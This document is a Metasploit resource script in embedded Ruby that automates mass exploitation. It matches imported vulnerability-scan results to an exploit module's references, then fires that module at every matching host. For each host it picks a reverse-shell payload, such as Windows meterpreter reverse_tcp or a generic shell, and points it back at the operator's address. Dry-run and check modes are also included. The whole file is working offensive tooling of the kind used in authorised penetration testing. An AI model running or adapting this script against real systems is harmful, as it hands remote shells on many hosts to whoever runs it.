autoexploit.rc

<ruby>
#
# Print the help function
#
def help_me
	help = %Q|
	Description:
		This Metasploit RC file can be used to automate the exploitation process.  Before using the
		script, you must import your vulnerability results to Metasploit so that it can deploy the
		module based on matching references. Three modes are available: exploit/dry/and check.
		In exploit mode, it will attempt to gain access to all vulnerable hosts with the most
		suitable reverse shell that's automatically selected.  In "dry" mode (dry-run), it'll list
		all the hosts vulnerable to the exploit.  In check mode, it will only trigger the check()
		function found in the module.  If no mode is specified, then it'll default to 'exploit'.

	Usage:
		./msfconsole -r [rc_path] [db_user] [db_pass] [db_workspace] [module_path] [mode]

	Arguments:
		rc_path      - Full path to the RC script
		db_user      - Username for MSF database           (datastore: 'DB_USER')
		db_pass      - Password for MSF database           (datastore: 'DB_PASS')
		db_worksapce - Workspace for the database          (datastore: 'DB_WORKSPACE')
		module_path  - Path to the exploit                 (datastore: 'MODULE')
		mode         - Optional. Accept:exploit/dry/check  (datastore: 'MODE')

	Example of running an exploit:
		msfconsole -r autoexploit.rc username password msf windows/smb/ms08_067_netapi

	Authors:
		sinn3r  <sinn3r[at]metasploit.com>
		m-1-k-3 <m1k3[at]s3cur1ty.de>
	|

	help = help.gsub(/^\t/, '')
	print_line(help)
end


#
# Load an exploit
#
def load_exploit(path)
	framework.exploits.create(path)
end


#
# See if there is a match for the exploit
#
def ref_has_match(vuln_refs, exp_refs)
	# exp_refs is an array of URLs
	# vuln_refs is a collection of Mdm::Ref, with 'name' being the most useful info
	# (may contain a link)
	vuln_refs.each do |ref|
		n = ref.name
		n = n.gsub(/^CVE\-/, '')
		n = n.gsub(/^OSVDB\-/, '')
		n = n.gsub(/^MSB\-/, '')
		n = n.gsub(/^EDB-/, '')

		exp_refs.each { |e| return true if e.to_s =~ /#{n}/ }
	end

	return false
end


#
# Automatically select a payload in this order:
# Windows meterpreter, linux, osx, php, java, generic
#
def select_payload(exploit)
	windows = 'windows/meterpreter/reverse_tcp'
	linux   = 'linux/x86/reverse_tcp'
	osx     = 'osx/x86/shell_reverse_tcp'
	php     = 'php/meterpreter_reverse_tcp'
	multi   = 'java/meterpreter/reverse_tcp'
	generic = 'generic/shell_reverse_tcp'

	payloads = []
	exploit.compatible_payloads.each do |p|
		payloads << p[0]
	end

	if payloads.include?(windows)
		return windows
	elsif payloads.include?(linux)
		return linux
	elsif payloads.include?(php)
		return php
	elsif payloads.include?(multi)
		return multi
	elsif payloads.include?(generic)
		return generic
	else
		# WTF? This exploit supports NONE of our favorite payloads?
		# What kinda BS is this?
		return nil
	end
end


#
# Connect to the database
#
def init_db(username, password, workspace)
	if username.empty? or password.empty?
		raise ArgumentError, "You must have a credential to connect to your database"
	end

	print_status("Connecting to database: #{workspace}")
	run_single("db_connect #{username}:#{password}@localhost:5432/#{workspace}")
end


#
# Exploit mode
#
def auto_exploit(module_path)
	exploit = load_exploit(module_path)
	raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?

	exploit_refs = exploit.references

	get_payload = select_payload(exploit)
	lhost       = Rex::Socket.source_address('50.50.50.50')

	if get_payload.nil?
		raise RuntimeError, "No payload selected for this exploit"
	else
		print_status("Payload selected: #{get_payload} (lhost=#{lhost})")
	end

	framework.db.workspace.vulns.each do |vuln|
		next if not ref_has_match(vuln.refs, exploit_refs)
		print_good("Using #{exploit.shortname} against host #{vuln.host.address.to_s}")
		run_single("use #{exploit.fullname}")
		run_single("set RHOST #{vuln.host.address.to_s}")
		run_single("set payload #{get_payload}")
		run_single("set lhost #{lhost}")
		run_single("exploit -z")
		select(nil, nil, nil, 1)
		run_single("back")
	end
end


#
# Dry-run mode
#
def dry_run(module_path)
	exploit = load_exploit(module_path)
	raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?

	exploit_refs = exploit.references

	framework.db.workspace.vulns.each do |vuln|
		next if not ref_has_match(vuln.refs, exploit_refs)
		addr = vuln.host.address.to_s
		print_good("#{addr} has a matching reference to #{exploit.shortname}")
	end
end


#
# Check mode
#
def check_exploit(module_path)
	exploit = load_exploit(module_path)
	raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?

	exploit_refs = exploit.references

	framework.db.workspace.vulns.each do |vuln|
		next if not ref_has_match(vuln.refs, exploit_refs)
		print_good("Checking #{exploit.shortname} against host #{vuln.host.address.to_s}")
		run_single("use #{exploit.fullname}")
		run_single("set RHOST #{vuln.host.address.to_s}")
		run_single("check")
		select(nil, nil, nil, 1)
		run_single("back")
		print_line()
	end
end


#
# See if we're already connected
#
def is_db_connected?
	begin
		framework.db.hosts
		return true
	rescue ::ActiveRecord::ConnectionNotEstablished
		return false
	end
end


#
# Initialize our arguments
#
def init_args
	args = {}
	if ARGV.join('') =~ /^help$/i
		args[:help] = true
		return args
	end

	datastore           = framework.datastore
	args[:db_user]      = ARGV.shift || datastore['DB_USER'] || ''
	args[:db_pass]      = ARGV.shift || datastore['DB_PASS'] || ''
	args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
	args[:module]       = ARGV.shift || datastore['MODULE'] || ''
	args[:mode]         = ARGV.shift || datastore['MODE'] || 'exploit'

	raise ArgumentError, "Missing a module path" if args[:module].empty?

	return args
end


#
# Code below serves as our "main" code.
# We chose not to wrap it around in a run() function, because if
# we do, any "return" will exit msfconsole, and we don't actually want that
# to happen.
#
begin
	args = init_args
	if args[:help]
		help_me
		return
	else
		if not is_db_connected?
			init_db(args[:db_user], args[:db_pass], args[:db_workspace])
		end
	end

	case args[:mode]
	when /^exploit$/i
		auto_exploit(args[:module])
	when /^dry$/i
		dry_run(args[:module])
	when /^check$/i
		check_exploit(args[:module])
	else
		raise ArgumentError, "Invalid mode"
	end

rescue ArgumentError => e
	print_error("Invalid argument: #{e.message}")
	return

rescue RuntimeError => e
	print_error(e.message)
	return

rescue ::Exception => e
	raise e
end
</ruby>